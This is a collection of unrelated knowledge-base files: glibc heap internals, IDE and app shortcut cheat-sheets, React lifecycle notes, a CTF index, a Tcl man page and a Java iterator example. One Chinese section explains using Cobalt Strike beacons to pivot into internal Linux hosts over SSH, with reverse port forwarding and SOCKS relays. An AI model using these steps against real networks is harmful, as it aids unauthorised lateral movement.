on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; ``` - __libc_lock_define(, mutex); - 该变量用于控制程序串行访问同一个分配区,当一个线程获取了分配区之后,其它线程要想访问该分配区,就必须等待该线程分配完成后才能够使用。 - flags - flags记录了分配区的一些标志,比如 bit0 记录了分配区是否有 fast bin chunk ,bit1 标识分配区是否能返回连续的虚拟地址空间。具体如下 ```c /* FASTCHUNKS_BIT held in max_fast indicates that there are probably some fastbin chunks. It is set true on entering a chunk into any fastbin, and cleared only in malloc_consolidate. The truth value is inverted so that have_fastchunks will be true upon startup (since statics are zero-filled), simplifying initialization checks. */ #define FASTCHUNKS_BIT (1U) #define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0) #define clear_fastchunks(M) catomic_or(&(M)->flags, FASTCHUNKS_BIT) #define set_fastchunks(M) catomic_and(&(M)->flags, ~FASTCHUNKS_BIT) /* NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous regions. Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls. The initial value comes from MORECORE_CONTIGUOUS, but is changed dynamically if mmap is ever used as an sbrk substitute. */ #define NONCONTIGUOUS_BIT (2U) #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) /* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the arena. Such an arena is no longer used to allocate chunks. Chunks allocated in that arena before detecting corruption are not freed. */ #define ARENA_CORRUPTION_BIT (4U) #define arena_is_corrupt(A) (((A)->flags & ARENA_CORRUPTION_BIT)) #define set_arena_corrupt(A) ((A)->flags |= ARENA_CORRUPTION_BIT) ``` - fastbinsY[NFASTBINS] - 存放每个 fast chunk 链表头部的指针 - top - 指向分配区的 top chunk - last_reminder - 最新的 chunk 分割之后剩下的那部分 - bins - 用于存储 unstored bin,small bins 和 large bins 的 chunk 链表。 - binmap - ptmalloc 用一个 bit 来标识某一个 bin 中是否包含空闲 chunk 。
sec-knowleage
--- title: Android Studio date: 2022-11-23 16:23:31.704217 background: bg-[#6bd488] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 130 keyboard shortcuts found in the Andriod Studio software --- Keyboard Shortcuts ------------------ ### General Shortcut | Action ---|--- `Ctrl` `S` | Save all `Ctrl` `Alt` `Y` | Synchronize `Ctrl` `Shift` `F12` | Minimize or maximize the editor `Alt` `Shift` `F` | Add to favorites `Alt` `Shift` `I` | Inspect the current file with the current profile `Ctrl` <code>\`</code> | Quick switch the scheme `Ctrl` `Alt` `S` | Open the settings dialogue `Ctrl` `Alt` `Shift` `S` | Open the project structure dialogue `Ctrl` `Tab` | Switch between the tabs and tool window {.shortcuts} ### Navigating and Searching {.row-span-2} Shortcut | Action ---|--- `Shift` `Shift` | Search everything, including code and menus `Ctrl` `F` | Find `F3` | Find next `Shift` `F3` | Find previous `Ctrl` `R` | Replace `Ctrl` `Shift` `A` | Find action `Ctrl` `Alt` `Shift` `N` | Search by a symbol name `Ctrl` `N` | Find class `Ctrl` `Shift` `N` | Find file, instead of class `Ctrl` `Shift` `F` | Find in path `Ctrl` `F12` | Open file structure pop-up `Alt` `Right/Left` | Navigate between open editor tabs `Ctrl` `Enter` | Jump to source `Shift` `F4` | Open the current editor tab in a new window `Ctrl` `E` | Recently opened files pop-up `Ctrl` `Shift` `E` | Recently edited files pop-up `Ctrl` `Shift` `Backspace` | Go to last edit location `Ctrl` `F4` | Close active editor tab `Esc` | Return to editor window from a tool window `Shift` `Esc` | Hide active or last active tool window `Ctrl` `G` | Go to line `Ctrl` `H` | Open type hierarchy `Ctrl` `Shift` `H` | Open method hierarchy `Ctrl` `Alt` `H` | Open call hierarchy {.shortcuts} ### Writing Code {.row-span-4} Shortcut | Action ---|--- `Alt` `Insert` | Generate code, e.g. getters, setters, constructors, new class `Ctrl` `O` | Override methods `Ctrl` `I` | Implement methods `Ctrl` `Alt` `T` | Surround with if...else, try...catch, etc `Ctrl` `Y` | Delete line at caret `Ctrl` `-` | Collapse the current code block `Ctrl` `+` | Expand the current code block `Ctrl` `Shift` `-` | Collapse all code blocks `Ctrl` `Shift` `+` | Expand all code blocks `Ctrl` `D` | Duplicate the current line or selection `Ctrl` `Space` | Basic code completion `Ctrl` `Shift` `Space` | Smart code completion, filters the list of methods and variables by expected type `Ctrl` `Shift` `Enter` | Complete statement `Ctrl` `Q` | Quick documentation lookup `Ctrl` `P` | Show parameters for selected method `Ctrl` `B` | Go to declaration, directly `Ctrl` `Alt` `B` | Go to implementations `Ctrl` `U` | Go to super-method or super-class `Ctrl` `Shift` `I` | Open quick definition lookup `Alt` `1` | Toggle project tool window visibility `F11` | Toggle bookmark `Ctrl` `F11` | Toggle bookmark with mnemonic `Ctrl` `/` | Comment or uncomment with line comment `Ctrl` `Shift` `/` | Comment or uncomment with block comment `Ctrl` `W` | Select successively increasing code blocks `Ctrl` `Shift` `W` | Decrease current selection to previous state `Ctrl` `[` | Move to code block start `Ctrl` `]` | Move to code block end `Ctrl` `Shift` `[` | Select to the code block start `Ctrl` `Shift` `]` | Select to the code block end `Ctrl` `Del` | Delete to the end of a word `Ctrl` `Backspace` | Delete to the start of a word `Ctrl` `Alt` `O` | Optimize imports `Alt` `Enter` | Project quick fix, show intention actions and quick fixes `Ctrl` `Alt` `L` | Reformat code `Ctrl` `Alt` `I` | Auto-indent lines `Tab` | Indent lines `Shift` `Tab` | Unindent lines `Ctrl` `Shift` `J` | Smart line join `Ctrl` `Enter` | Smart line split `Shift` `Enter` | Start new line `F2` | Next highlighted error `Shift` `F2` | Previous highlighted error {.shortcuts} ### Viewing Layouts Shortcut | Action ---|--- `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Fit to screen `Ctrl` `Shift` `1` | Actual size {.shortcuts} ### Layout Editor Shortcut | Action ---|--- `B` | Toggle between Design and Blueprint modes `O` | Toggle between Portrait and Landscaope modes `D` | Toggle devices `R` | Force refresh `E` | Toggle render errors panel `Del` | Delete constraints `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Zoom to fit `Ctrl` `B` | Go to XML `Ctrl` `A` | Select all components `Shift` `(click)` | Select multiple components {.shortcuts} ### Navigation Editor Shortcut | Action ---|--- `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Zoom to fit `Ctrl` `B` | Go to XML `E` | Toggle render errors panel `Ctrl` `G` | Group into a nested graph `Tab` | Cycle through destinations `Ctrl` `A` | Select all destinations `Ctrl` `(click)` | Select multiple destinations {.shortcuts} ### Build and Run Shortcut | Action ---|--- `Ctrl` `F9` | Build `Shift` `F10` | Build and run `Ctrl` `F10` | Apply changes and restart activity `Ctrl` `Alt` `F10` | Apply code changes {.shortcuts} ### Debugging Shortcut | Action ---|--- `Shift` `F9` | Debug `F8` | Step over `F7` | Step into `Shift` `F7` | Smart step into `Shift` `F8` | Step out `Alt` `F9` | Run to cursor `Alt` `F8` | Evaluate expression `F9` | Resume program `Ctrl` `F8` | Toggle breakpoint `Ctrl` `Shift` `F8` | View breakpoints {.shortcuts} ### Refactoring Shortcut | Action ---|--- `F5` | Copy `F6` | Move `Alt` `Del` | Safe delete `Shift` `F6` | Rename `Ctrl` `F6` | Change signature `Ctrl` `Alt` `N` | Inline `Ctrl` `Alt` `M` | Extract method `Ctrl` `Alt` `V` | Extract variable `Ctrl` `Alt` `F` | Extract field `Ctrl` `Alt` `C` | Extract constant `Ctrl` `Alt` `P` | Extract parameter {.shortcuts} ### Version Control Shortcut | Action ---|--- `Ctrl` `K` | Commit project to VCS `Ctrl` `T` | Update project from VCS `Alt` `Shift` `C` | View recent changes `Alt` <code>\`</code> | Open VCS pop-up {.shortcuts} Also see -------- - [Keyboard shortcuts for Android Studio](https://developer.android.com/studio/intro/keyboard-shortcuts) _(developer.android.com)_
sec-knowleage
--- title: TickTick date: 2022-11-23 16:23:31.696573 background: bg-[#526ac9] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 25 keyboard shortcuts found in the TickTick desktop app --- Keyboard Shortcuts ------------------ ### General I Shortcut | Action ---|--- `Ctrl` `Shift` `A` | Show quick add bar `Ctrl` `Shift` `L` | Show or hide mini window `Ctrl` `Shift` `P` | Start or abandon pomo `Ctrl` `S` | Sync task `Ctrl` `F` | Search for a task `Ctrl` `N` | Add task `Ctrl` `Shift` `M` | Complete task `Ctrl` `0` | Clear date `Ctrl` `D` | Set date `Ctrl` `1` | Set today `Ctrl` `2` | Set tomorrow `Ctrl` `3` | Set next week {.shortcuts} ### General II Shortcut | Action ---|--- `Ctrl` `0` | Set no priority `Ctrl` `1` | Set low priority `Ctrl` `2` | Set medium priority `Ctrl` `3` | Set high priority `Ctrl` `P` | Print `Ctrl` `Alt` `T` | Open today's list `Ctrl` `Opt` `T` | Open tomorrow's list `Ctrl` `Alt` `N` | Open next 7 days list `Ctrl` `Alt` `A` | Open all list `Ctrl` `Alt` `C` | Open the calendar view `Ctrl` `Alt` `A` | Open the assigned to me list `Ctrl` `Alt` `1` | Open the inbox `Ctrl` `Alt` `C` | Open completed tasks {.shortcuts} Also see -------- - [Keyboard shortcuts for TickTick](https://support.ticktick.com/hc/en-us/articles/360016272252-Shortcuts) _(support.ticktick.com)_
sec-knowleage
# 0x00 ssh登陆 当内网有Linux时 Cobalt Strike也是考虑到的提供了ssh连接,只需要用目标机的beacon去连接就可以了。 1. 密码直接连接 ``` beacon> help ssh Use: ssh [target:port] [user] [pass] Spawn an SSH client and attempt to login to the specified target ``` 2. ssh-key ``` beacon> help ssh-key Use: ssh [target:port] [user] [/path/to/key.pem] Spawn an SSH client and attempt to login to the specified target ``` 我这里就直接用密码登陆了 ![Cobalt Strike ](./img/14.1.png) # 0x01 ssh beacon ``` ssh> help SSH Commands ============ Command Description ------- ----------- cancel Cancel a download that's in-progress cd Change directory clear Clear task queue download Download a file downloads Lists file downloads in progress exit Terminate this session help Help menu note Assign a note to this session pwd Print current directory rportfwd Setup a reverse port forward shell Execute a command via the shell sleep Set parent beacon's sleep time socks Start SOCKS4a server to relay traffic socks stop Stop SOCKS4a server sudo Run a command via sudo upload Upload a file ``` SSH beacon的功能较少,执行shell命令也是 `shell ls -al` # 0x02 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
## 生命周期函数 当通过调用 React.createClass() 来创建组件的时候,你应该提供一个包含 render 方法的对象,并且也可以包含其它的在这里描述的生命周期方法。 ### 首次加载时触发的生命周期 ``` class App extends React.Component{ constructor(){ super() console.log('constructor') } componentWillMount(){ console.log('will Mount') } componentDidMount(){ console.log('did Mount') } render(){ console.log('render') return( <div> App </div> ) } } export default App ``` **constructor**(自带的默认方法传递`state`和`props`) - 构造函数,只有初始化时调用载一次 **comonentWillMount** 挂载前 - 在组件挂载之前调用一次。如果在这个函数里面调用`setState`,本次的`render`函数可以看到更新后的`state`,并且只渲染一次。 **render** 挂载(必须) - 返回值必须是一个React的`element`(JSX节点),不能在`render`内修改`state` **comonentDidMount** 挂载完成后 - 在组件挂载之后调用一次。这个时候,子主键也都挂载好了,可以在这里使用`refs`。 ### 更新阶段(重新渲染) `state`被`setState`修改或props被修改会触发更新 ``` import React from 'react' class App extends React.Component{ constructor(){ console.log('constructor') super() this.state = ({ num:0 }) } componentWillMount(){ console.log('will Mount') } componentDidMount(){ console.log('did Mount') } shouldComponentUpdate(nextProps,nextState){ console.log('should Update',nextProps,nextState) return true } componentWillUpdate(){ console.log('will Update') } componentDidUpdate(){ console.log('did Update') } render(){ console.log('render') return( <div> <p>{this.state.num}</p> <button onClick={() => this.setState({num:++this.state.num})}>+1</button> </div> ) } } export default App ``` **shouldComponentUpdate** (判断是否需要重新渲染组件) - 必须有返回值(返回值为一个bool值)如果返回`true`重新`render`(渲染)。 - `shouleComponentUpdata(nextProps,nextState)`的两个参数(形参) **componentWillUpdate** (重新渲染前) - `shouldComponentUpdate`返回`true`或者调用`forceUpdate`之后,`componentWillUpdate`会被调用。 - 除了首次`render`之后调用`componentWillMount`,其它`render`结束之后都是调用`componentWillUpdate`。 **render**(渲染) **componentDidUpdate**(渲染完成后) - 除了首次`render`之后调用`componentDidMount`,其它`render`结束之后都是调用`componentDidUpdate`。 ### 子组件的生命周期流程 子组件 ``` import React from 'react' class Test extends React.Component{ constructor(){ super() console.log('test constructor') } componentWillMount(){ console.log('test will Mount') } componentDidMount(){ console.log('test did Mount') } shouldComponentUpdate(nextProps,nextState){ console.log('test should') return true } componentWillUpdate(){ console.log('test Update') } componentDidUpdate(){ console.log('test did Update') } render(){ console.log('text render') return ( <div className='Test'> <span>{this.props.num}</span> </div> ) } } export default Test ``` 父组件 ``` import React from 'react' import Test from './Test' class App extends React.Component{ constructor(){ console.log('constructor') super() this.state = ({ num:0 }) } componentWillMount(){ console.log('will Mount') } componentDidMount(){ console.log('did Mount') } componentWillReceiveProps(nextProps){ console.log('ReceiveProps',nextProps) } shouldComponentUpdate(nextProps,nextState){ console.log('should',nextProps,nextState.num) if(nextState.num>10){ alert('超过上限') this.btn.disabled = true }else{ return true } } componentWillUpdate(){ console.log('Update') } componentDidUpdate(){ console.log('did Update') } render(){ console.log('render') return( <div> <Test num={this.state.num} /> <input type='button' value='+1' ref={btn => this.btn = btn} onClick={() => this.setState({num:++this.state.num})} /> </div> ) } } export default App ``` **componentWillReceiveProps**(props改变时触发) - `props`是父组件传递给子组件的。父组件发生`render`的时候子组件就会调用`componentWillReceiveProps`(不管`props`有没有更新,也不管父子组件之间有没有数据交换)。 ### 销毁组件 子组件(要销毁的组件) ``` import React from 'react' class Test extends React.Component{ constructor(){ super() console.log('test constructor') } componentWillMount(){ console.log('test will Mount') } componentDidMount(){ console.log('test did Mount') } shouldComponentUpdate(nextProps,nextState){ console.log('test should') return true } componentWillUpdate(){ console.log('test Update') } componentDidUpdate(){ console.log('test did Update') } componentWillUnmount(){ console.log('test Un') } render(){ console.log('text render') return ( <div className='Test'> <span>{this.props.num}</span> </div> ) } } export default Test ``` 父组件 ``` import React from 'react' import Test from './Test' class App extends React.Component{ constructor(){ console.log('constructor') super() this.state = ({ num:0, show:true }) } componentWillMount(){ console.log('will Mount') } componentDidMount(){ console.log('did Mount') } componentWillReceiveProps(nextProps){ console.log('ReceiveProps',nextProps) } shouldComponentUpdate(nextProps,nextState){ console.log('should',nextProps,nextState.num) if(nextState.num>10){ alert('超过上限') this.btn.disabled = true }else{ return true } } componentWillUpdate(){ console.log('Update') } componentDidUpdate(){ console.log('did Update') } render(){ console.log('render') return( <div> { this.state.show ? <Test num={this.state.num} /> : null } <input type='button' value='+1' ref={btn => this.btn = btn} onClick={() => this.setState({num:++this.state.num})} /> <input type='button' value='销毁' onClick={() => this.setState({show:false})} /> </div> ) } } export default App ``` **componentWillUnmount** (销毁组件) - 组件被卸载的时候调用。一般在`componentDidMount`里面注册的事件需要在这里删除。很少应用 ### 生命周期函数进程 ![生命周期函数图](../img/life.png)
sec-knowleage
# Dragon CTF Teaser 2019 Team: c7, akrasuski1, nazywam, chivay, rodbert, Eternal, sasza, rev, shalom ### Table of contents * [RMS (web/pwn)](rms) * [ummmfpu (re)](ummmfpu) * [RSA Chained (crypto)](rsachained) * [Looking glas (web/crypto)](lookingglass)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: format.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: format.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH format 3tcl 8.1 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME format \- 按 sprintf 的式样格式化一个字符串 .SH "总览 SYNOPSIS" \fBformat \fIformatString \fR?\fIarg arg ...\fR? .BE .SH INTRODUCTION .PP 这个命令按与ANSI C \fBsprintf \fR过程相同的方式生成一个格式化了的字符串(在它的实现中使用了 \fBsprintf\fR)。\fIFormatString\fR 指示如何格式化结果,与 \fBsprintf \fR一样使用 \fB%\fR 转换指定符(specifier),如果有增添的参数,则它们提供要被替换到结果中的值。\fBformat\fR 的返回值是格式化了的字符串。 .SH "格式化细节 DETAILS ON FORMATTING" .PP 命令按从左到右的检索(scan) \fIformatString\fR 的方式操作。除了百分号之外的在格式字符串中的每个字符都要添加到结果字符串上。如果字符是一个 \fB%\fR则它不被复制到结果字符串中。转而,在 \fB%\fR 后面的字符被作为一个转换指定符对待。转换指定符控制把下一个连续的(successive) \fIarg\fR 转换成一个特定的格式,并把结果添加到结果字符串中转换指定符的位置上。如果在格式字符串中有多个转换指定符,则每一个控制一个增添的参数 \fIarg\fR。\fBformat\fR 命令必须给出足够的 \fIarg\fRs 来满足在 \fIformatString \fR中的所有转换指定符的需要。 .PP 每个转换指定符可以由六部分组成: 一个 XPG3 位置指定符,一系列标志(flag),一个最小字段宽度,一个精度,一个长度修饰符(modifier),和一个转换字符。除了转换字符之外可以省略这些字段中的任何一个。存在的字段必须按上面给出的次序出现。下面的段落依次讨论所有这些字段。 .PP 如果 \fB%\fR 跟随着一个十进制数值和一个 \fB$\fR, 比如“\fB%2$d\fR”,则要转换的值不接受下一个顺序的参数。转而,它接受由这个数字指示的参数,这里 1 对应于第一个 \fIarg\fR。如果因为在指定符中有 \fB*\fR 字符而转换指定符要求多个参数,则使用连续的参数,开始的参数由这个数值给出。这依从 XPG3 定位指定符约定。如果在 \fIformatString\fR 中有任何定位的指定符则所有指定符必须定位。 .PP 一个转换指定符的第二部分可以按任意次序包含任何下列的标志字符: .TP 10 \fB\-\fR 指定被转换的参数在它的字段中左对齐(数值一般右对齐,如果需要的话,有前导的空格)。 .TP 10 \fB+\fR 指定输出的数值必须有符号,即使是正数。 .TP 10 \fIspace\fR 指定如果数值的第一个字符不是一个符号则向数值的开始处添加空格。 .TP 10 \fB0\fR 指定应当在数值的左侧填充零而不是空格。 .TP 10 \fB#\fR 要求一中替代的输出形式。对于 \fBo\fR 和 \fBO\fR 转换它保证第一个数字总是 \fB0\fR。对于 \fBx\fR 或 \fBX\fR 转换,除了零之外,在结果的开始处(分别)添加 \fB0x\fR 或 \fB0X\fR。对于所有浮点数转换(\fBe\fR、\fBE\fR、\fBf\fR、\fBg\fR、和 \fBG\fR) 它保证结果总是一个小数点。对于 \fBg\fR 和 \fBG\fR 转换它指定删除尾部的零。 .PP 一个转换指定符的第三部分是给出这个转换的最小字段宽度的一个数字。它典型的被用来按列表的(tabular)输出形式排列(line up)各列(column)。如果被转换的参数包含的字符比这个最小字段宽度少,则填充它来达到这个最小的字段宽度。填充通常是在被转换的参数的左侧添加额外的空格,但是可以使用 \fB0\fR和 \fB-\fR 标志来分别指定在左侧填充零或在右侧填充空格。如果指定最小字段宽度为 \fB*\fR 而不是一个数值,则用给 \fBformat\fR 命令的下一个参数确定最小字段宽度;它必须是一个数值字符串。 .PP 一个转换指定符的第四部分是一个精度,它由一个点号和随后的一个数值组成。在不同的转换中按不同的方式使用这个数值。对于 \fBe\fR、\fBE\fR、和 \fBf\fR 转换它指定出现在小数点右侧的数字的位数。对于 \fBg\fR 和 \fBG\fR 转换它指定出现的数字的总数,包括在小数点两侧的数字(但是,除非指定了 \fB#\fR 标志,省略在小数点后面的尾部的零)。对于正数转换,它指定输出的最小的数字位数(如果需要的话添加前导的零)。对于 \fBs\fR 转换它指定输出的最大的字符数;如果字符串比它长则删除尾部的字符。如果用 \fB*\fR 而不是一个数值来指定精度,则用给 \fBformat\fR 命令的下一个参数来确定精度;它必须是一个数值字符串。 .PP 一个转换指定符的第五部分是一个长度修饰符,它必须是 \fBh\fR 或 \fBl\fR。如果它是 \fBh\fR 则指定数值值在转换之前必须被截断(truncate)成16位值。这个选项很少有用。忽略 \fBl\fR 修饰符。 .PP 一个转换指定符的最后一部分是确定进行那种转换的一个字母字符。当前支持下列转换字符: .TP 10 \fBd\fR 把整数转换成有符号的十进制字符串。 .TP 10 \fBu\fR 把整数转换成无符号的十进制字符串。 .TP 10 \fBi\fR 把整数转换成有符号的十进制字符串;整数可以是十进制的,八进制的(有一个前导的 \fB0\fR) 或十六进制的(有一个前导的 \fB0x\fR)。 .TP 10 \fBo\fR 把整数转换成无符号八进制字符串。 .TP 10 \fBx\fR or \fBX\fR 把整数转换成无符号十六进制字符串,对 \fBx\fR 使用数字“0123456789abcdef”而对 \fBX\fR 使用数字 “0123456789ABCDEF”。 .VS .TP 10 \fBc\fR 把整数转换成它代表的 Unicode 字符。 .VE .TP 10 \fBs\fR 不转换,只是插入字符。 .TP 10 \fBf\fR 浮点数转换成有符号的 \fIxx.yyy \fR形式的十进制字符串,这里的 \fIy \fR的位数由精度确定(缺省: 6)。如果精度是 0 则不输出小数点。 .TP 10 \fBe\fR or \fBe\fR 把浮点数转换成 \fIx.yyy\fR\fBe&#177;\fR\fIzz \fR形式的科学记数法,这里的 \fIy \fR的位数由精度确定(缺省: 6)。如果精度是 0 则不输出小数点。如果使用 \fBE\fR 式样则输出 \fBE\fR 而不是 \fBe\fR。 .TP 10 \fBg\fR or \fBG\fR 如果指数小于 -4 或大于等于精度,则把富点数按 \fB%e\fR 或 \fB%E\fR 来转换。否则按 \fB%f\fR 转换。省略尾部的零和尾部的小数点。 .TP 10 \fB%\fR 不转换: 只是插入 \fB%\fR。 .LP 数值转换,被转换的参数必须是一个正数或浮点数字符串;format 把参数转换成二进制接着依照转换指定符把它再转换成一个字符串。 .SH "与 ANSI SPRINTF 的区别 DIFFERENCES FROM ANSI SPRINTF" .PP 除了下列区别之外,format 命令的行为与 ANSI C \fBsprintf\fR 过程相同: .IP [1] 当前不支持 \fB%p\fR 和 \fB%n\fR 指定符。 .IP [2] 对于 \fB%c\fR 转换,参数必须是一个十进制字符串,它将被转换成相应的字符值。 .IP [3] 忽略 \fBl\fR 修饰符;转换整数值总是有如没有修饰符存在,而转换实数值总是有如存在 \fBl\fR 修饰符(例如, 使用类型 \fBdouble\fR 作为内部表示)。如果指定了 \fBh\fR 修饰符则在转换前截断整数值。 .SH "参见 SEE ALSO" sprintf(3), string(n) .SH "关键字 KEYWORDS" conversion specifier, format, sprintf, string, substitution .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/08/29 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
## 迭代器(Iterator) ### Intent 提供一种顺序访问聚合对象元素的方法,并且不暴露聚合对象的内部表示。 ### Class Diagram - Aggregate 是聚合类,其中 createIterator() 方法可以产生一个 Iterator; - Iterator 主要定义了 hasNext() 和 next() 方法; - Client 组合了 Aggregate,为了迭代遍历 Aggregate,也需要组合 Iterator。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201102012333804.png" alt="image-20191130164425351" style="zoom: 67%;" /> </div><br> ### Implementation ```java public interface Aggregate { Iterator createIterator(); } ``` ```java public class ConcreteAggregate implements Aggregate { private Integer[] items; public ConcreteAggregate() { items = new Integer[10]; for (int i = 0; i < items.length; i++) { items[i] = i; } } @Override public Iterator createIterator() { return new ConcreteIterator<Integer>(items); } } ``` ```java public interface Iterator<Item> { Item next(); boolean hasNext(); } ``` ```java public class ConcreteIterator<Item> implements Iterator { private Item[] items; private int position = 0; public ConcreteIterator(Item[] items) { this.items = items; } @Override public Object next() { return items[position++]; } @Override public boolean hasNext() { return position < items.length; } } ``` ```java public class Client { public static void main(String[] args) { Aggregate aggregate = new ConcreteAggregate(); Iterator<Integer> iterator = aggregate.createIterator(); while (iterator.hasNext()) { System.out.println(iterator.next()); } } } ``` ### JDK - [java.util.Iterator](http://docs.oracle.com/javase/8/docs/api/java/util/Iterator.html) - [java.util.Enumeration](http://docs.oracle.com/javase/8/docs/api/java/util/Enumeration.html)
sec-knowleage
